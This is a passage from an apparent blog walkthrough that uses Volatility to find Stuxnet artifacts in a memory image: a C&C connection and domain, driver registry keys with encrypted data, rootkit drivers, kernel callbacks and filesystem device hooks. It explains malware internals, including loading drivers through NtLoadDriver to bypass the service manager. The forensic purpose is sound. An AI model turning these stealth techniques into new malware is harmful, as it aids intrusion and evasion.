lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;  The connection in red is suspicious because, as shown below, it was  created by a browser process and the IP maps back to one of the C&amp;amp;C  domains.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$&lt;span style="font-weight: bold;"&gt; ./vol.py -f stuxnet2.vmem pslist&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Offset(V)  Name                 PID    PPID   Thds   Hnds   Time&lt;br /&gt;---------- -------------------- ------ ------ ------ ------ -------------------&lt;br /&gt;[snip]&lt;br /&gt;0x81af13b8 &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;firefox.exe&lt;/span&gt;             &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;528&lt;/span&gt;    356      4    112 2011-07-20 16:32:09&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;host www.mypremierfutbol.com&lt;/span&gt;&lt;br /&gt;www.mypremierfutbol.com is an alias for mypremierfutbol.com.&lt;br /&gt;mypremierfutbol.com has address &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;72.167.202.5&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;  Perhaps more interesting than the connection itself is the fact that  Stuxnet uses a specific message structure for its C&amp;amp;C packets. Each  message starts with a 0x1 constant byte and has the OS major version at  offset 2, OS minor version at offset 3, OS service pack at offset 4, and  so on. That means an XP SP1 system may look like hex "01??050101" and a  Windows 7 SP0 may look like "01??060100". A bit more research can help  refine these patters even more and before long you can have a Volatility  plugin, consisting of a few lines of Python, that finds Stuxnet C&amp;amp;C  packets (before encryption) in process memory.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 11: Registry Keys&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"...because  we see Lsass.exe drop one of the two Stuxnet drivers,  MRxCls.sys, in  C:\Windows\System32\Drivers and create its corresponding  registry keys"  [2]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, we can use &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#printkey"&gt;printkey&lt;/a&gt;  to read the cached registry keys in memory. Service registry keys are  in the system hive under ControlSet001\Services\SERVICENAME. So based on  the article, we know exactly what to look for:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py printkey -K 'ControlSet001\Services\MrxNet'&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Legend: (S) = Stable   (V) = Volatile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\system&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Key name: MRxNet (S)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Last updated: 2011-06-03 04:26:47 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Subkeys:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  (V) Enum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Values:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        Description     : (S) MRXNET&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        DisplayName     : (S) MRXNET&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_DWORD     ErrorControl    : (S) 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        Group           : (S) Network&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        ImagePath       : (S) &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;\??\C:\WINDOWS\system32\Drivers\mrxnet.sys&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_DWORD     Start           : (S) 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_DWORD     Type            : (S) 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py printkey -K 'ControlSet001\Services\MrxCls'&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Legend: (S) = Stable   (V) = Volatile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Registry: &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;\Device\HarddiskVolume1\WINDOWS\system32\config\system&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Key name: MRxCls (S)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Last updated: 2011-06-03 04:26:47 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Subkeys:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  (V) Enum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Values:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        Description     : (S) MRXCLS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        DisplayName     : (S) MRXCLS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_DWORD     ErrorControl    : (S) 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        Group           : (S) Network&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_SZ        ImagePath       : (S) &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;\??\C:\WINDOWS\system32\Drivers\mrxcls.sys&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_DWORD     Start           : (S) 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_DWORD     Type            : (S) 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REG_BINARY    Data            : (S) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0000   8F 1F F7 6D 7D B1 C9 09 9D CC 24 7A C6 9F FB 23    ...m}.....$z...#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0010   90 BD 9D BF F1 D4 51 92 2A B4 1F 6A 2E A6 4F B3    ......Q.*..j..O.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0020   CB 69 7C 0B 92 3B 1B C0 D7 75 17 A9 E3 33 48 DC    .i|..;...u...3H.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0030   AD F6 DA EA 2F 87 10 C4 21 81 A5 75 68 00 2E B1    ..../...!..uh...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0040   C2 7B EB DD BB 72 47 DC 87 91 14 A5 F3 C4 32 B0    .{...rG.......2.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0050   CC 93 38 36 6B 49 0A F2 6F 1F 1D A1 4A 15 05 80    ..86kI..o...J...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0060   4B 13 A8 AA 82 41 4B 89 DC 89 24 A2 ED 16 37 F3    K....AK...$...7.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0070   42 A9 A0 6A 7F 82 CD 90 E5 3C 49 CC B2 97 CA CB    B..j.....&amp;lt; span=""&amp;gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0080   7B 64 C1 48 B2 4C F5 AE 54 42 74 0F 00 31 FD 80    {d.H.L..TBt..1..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0090   E8 7E 0E 69 12 42 3A EC 0F 6F 03 B8 46 9C 68 97    .~.i.B:..o..F.h.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00A0   AC 62 16 FB 1A 1B D9 33 6C E8 F9 93 C3 56 54 A1    .b.....3l....VT.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00B0   89 7A 7B 77 CE BA 0D 95 A7 0F AB 5E 1C 3C 18 63    .z{w.......^.&amp;lt;.c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00C0   AE 3E 60 A6 81 BC FA 85 FB 37 A0 0A 57 F9 C9 D3    .&amp;gt;`......7..W...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00D0   CF 6B 41 D9 6D CD 39 71 C5 11 83 F1 D9 F3 7D B7    .kA.m.9q......}.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00E0   91 F7 70 46 C2 24 F7 B9 0F 2D B2 60 72 1C 8F F9    ..pF.$...-.`r...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00F0   98 16 34 52 4B 7D 5F 81 5F 35 FD 8B 3E 78 B1 0B    ..4RK}_._5..&amp;gt;x..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0100   0A 90 5A D8 30 5A 56 90 9A C0 C1 0F EB 95 D5 2F    ..Z.0ZV......../&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0110   B7 C5 8D 2B 3F 49 41 8B 86 B4 DB 71 67 69 E6 E8    ...+?IA....qgi..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0120   69 77 29 77 18 82 11 8B D7 5D 26 E4 5A 5C 2C 46    iw)w.....]&amp;amp;.Z.,F&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0130   C2 F0 02 28 D8 EA 4B 95 9C 3A 3C 12 DA C4 87 21    ...(..K..:&amp;lt;....!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0140   91 4F D0 6E FA C4 DD B7 C9 AF E2 AE FE 14 0F 53    .O.n...........S&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0150   C4 BA DD 31 1A 38 7B 37 C0 9E 83 FF 2C B2 4C 88    ...1.8{7....,.L.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0160   33 C1 89 E5 CA 68 31 2D 20 CE 50 64 7B 39 C7 FB    3....h1- .Pd{9..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0170   B1 9F A9 0D 6C 2A 82 AE 7F 25 43 A7 A2 28 EB 27    ....l*...%C..(.'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0180   73 C9 45 F9 FD 53 A8 F4 A7 FD B4 90 B2 28 D8 0C    s.E..S.......(..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0190   5A A8 84 D0 7F ED 99 25 18 FE B8 4C 48 66 8D 59    Z......%...LHf.Y&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;01A0   40 F6 CC 30 A6 F4 04 E8 76 9C EA 0E F6 A4 4A CE    @..0....v.....J.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;01B0   D2                                                 .&lt;/span&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;You  can see the timestamp from when the registry keys were last modified,  the full path on disk to the service binary (the Stuxnet drivers) and  the full contents of the encrypted Data value. According to Thabet [5],  after decryption &lt;span style="color: rgb(51, 51, 255);"&gt;"This data  contains the name of some system processes and filenames for stuxnet  files. This data tells the driver the filename of the stuxnet file and  the name of the process that stuxnet needs to inject its file into."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Don't forget you can also use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#svcscan"&gt;svcscan&lt;/a&gt; command to enumerate services.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py -f stuxnet.vmem svcscan | grep -i mrx&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x385d28     0x70     -------- 'MRxDAV'         'WebDav Client Redirector'     SERVICE_FILE_SYSTEM_DRIVER     SERVICE_RUNNING      \FileSystem\MRxDAV&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x385db8     0x71     -------- 'MRxSmb'         'MRxSmb'                       SERVICE_FILE_SYSTEM_DRIVER     SERVICE_RUNNING      \FileSystem\MRxSmb&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Why  do we only see legitimate services MRxDAV and MRxSmb? Well, just  because there are entries in the ControlSet001\Services registry key,  that doesn't mean the malware used the Service Control Manager  (services.exe) to create or start the service. For example, you can skip  calling &lt;a href="http://msdn.microsoft.com/en-us/library/ms682450%28v=vs.85%29.aspx"&gt;CreateService&lt;/a&gt; and &lt;a href="http://msdn.microsoft.com/en-us/library/ms686321%28v=vs.85%29.aspx"&gt;StartService&lt;/a&gt; by creating the registry keys  directly and then calling &lt;a href="http://msdn.microsoft.com/en-us/library/ff566470%28v=vs.85%29.aspx"&gt;NtLoadDriver&lt;/a&gt; (which is exactly what Stuxnet does).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 12: Kernel Drivers&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"Mrxnet.sys  is the driver that the programmer originally sent me and that   implements the rootkit that hides files, and Mrxcls.sys is a second   Stuxnet driver file that launches the malware when the system boots."  [1]&lt;/span&gt;&lt;/blockquote&gt; Based on this statement, the two drivers should be visible with the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#modules"&gt;modules&lt;/a&gt; or &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#modscan"&gt;modscan&lt;/a&gt; commands.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py modules&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x81f8cb60 \??\C:\WINDOWS\system32\Drivers\mrxcls.sys         0x00f895a000 0x005000 mrxcls.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x81c2a530 \??\C:\WINDOWS\system32\Drivers\mrxnet.sys         0x00b21d8000 0x003000 mrxnet.sys&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Feel free to extract the drivers to disk with &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#moddump"&gt;moddump&lt;/a&gt; for inspection with strings, IDA Pro, or for scanning with your favorite antivirus.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 13: Kernel Callbacks&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"That means Mrxcls.sys called PsSetLoadImageNotifyRoutine&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; so that Windows would call it whenever an executable image, such as a DLL or device driver, is mapped into memory." [3]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#callbacks"&gt;callbacks&lt;/a&gt; command.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$&lt;span style="font-weight: bold;"&gt; ./vol.py callbacks&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Type                                 Callback   Owner&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PsSetLoadImageNotifyRoutine          0xb240ce4c PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PsSetLoadImageNotifyRoutine          0x805f81a6 ntoskrnl.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;PsSetLoadImageNotifyRoutine          0xf895ad06 mrxcls.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PsSetCreateThreadNotifyRoutine       0xb240cc9a PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PsSetCreateProcessNotifyRoutine      0xf87ad194 vmci.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PsSetCreateProcessNotifyRoutine      0xb240cb94 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;KeBugCheckCallbackListHead           0xf83e65ef NDIS.sys (Ndis miniport)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;KeBugCheckCallbackListHead           0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;KeRegisterBugCheckReasonCallback     0xf8b7aab8 mssmbios.sys (SMBiosData)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;KeRegisterBugCheckReasonCallback     0xf8b7aa70 mssmbios.sys (SMBiosRegistry)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The output shows the &lt;a href="http://msdn.microsoft.com/en-us/library/ff559957%28v=vs.85%29.aspx"&gt;PsSetLoadImageNotifyRoutine&lt;/a&gt; installed by mrxcls.sys. Mark also states &lt;span style="color: rgb(51, 51, 255);"&gt;"Ironically, Process Monitor also uses this callback functionality to monitor image loads."&lt;/span&gt; [3] which is why you see the PROCMON20.SYS entries as well.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 14: FileSystem Hooks&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"The  driver also registers to a filesystem registration callback routine in  order to hook newly created filesystem objects on the fly." [4]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, if the rootkit used &lt;a href="http://msdn.microsoft.com/en-us/library/ff548499%28v=vs.85%29.aspx"&gt;IoRegisterFsRegistrationChange&lt;/a&gt;  to install the file system registration callback routine, then you can  use the callbacks plugin to detect it. However, instead it uses &lt;span title="function" class="function"&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ff549511%28v=vs.85%29.aspx"&gt;IoRegisterDriverReinitialization&lt;/a&gt;,  which works a bit differently. In particular, it uses different pool  tags, a different structure for storing the callback address, and a  different symbol name for the list head  (nt!_IopDriverReinitializeQueueHead). &lt;/span&gt;Extending the callbacks  plugin for this purpose is extremely easy. Just take the information  shown in the following screen shot and have a look at the other examples  in the malware.py source code.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-PE5eHxuRQaI/Teln4Qc_qBI/AAAAAAAACKg/ILfsMLYf2ho/s1600/IoRi.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 265px;" src="http://4.bp.blogspot.com/-PE5eHxuRQaI/Teln4Qc_qBI/AAAAAAAACKg/ILfsMLYf2ho/s320/IoRi.png" alt="" id="BLOGGER_PHOTO_ID_5614132626680948754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 15: Devices &amp;amp; IRPs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"The driver scans for the following filesystem driver objects:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* \FileSystem\ntfs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* \FileSystem\fastfat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;* \FileSytstem\cdfs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;A new device object is created by Stuxnet and attached to the device chain for each device object managed by these driver objects. [...] By inserting such objects, Stuxnet is able to intercept IRP requests (example: writes, reads, to devices NTFS, FAT, or CD-ROM devices)." [4]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, the Stuxnet driver is exploiting Microsoft's layered driver architecture which you can explore with the devicetree plugin. Let's focus on ntfs to start.&lt;br /&gt;&lt;pre&gt;&lt;span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py devicetree &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;[snip]&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;DRV 0x0253d180 '\\FileSystem\\Ntfs'&lt;br /&gt;DEV 0x8224e020 (unnamed) FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;ATT 0x8223e6c0 (unnamed) - '\\FileSystem\\sr' FILE_DEVICE_DISK_FILE_SYSTEM&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;        ATT 0x821d52f0 (unnamed) - '\\Driver\\MRxNet' FILE_DEVICE_DISK_FILE_SYSTEM&lt;/span&gt;&lt;br /&gt;DEV 0x8224f790 Ntfs 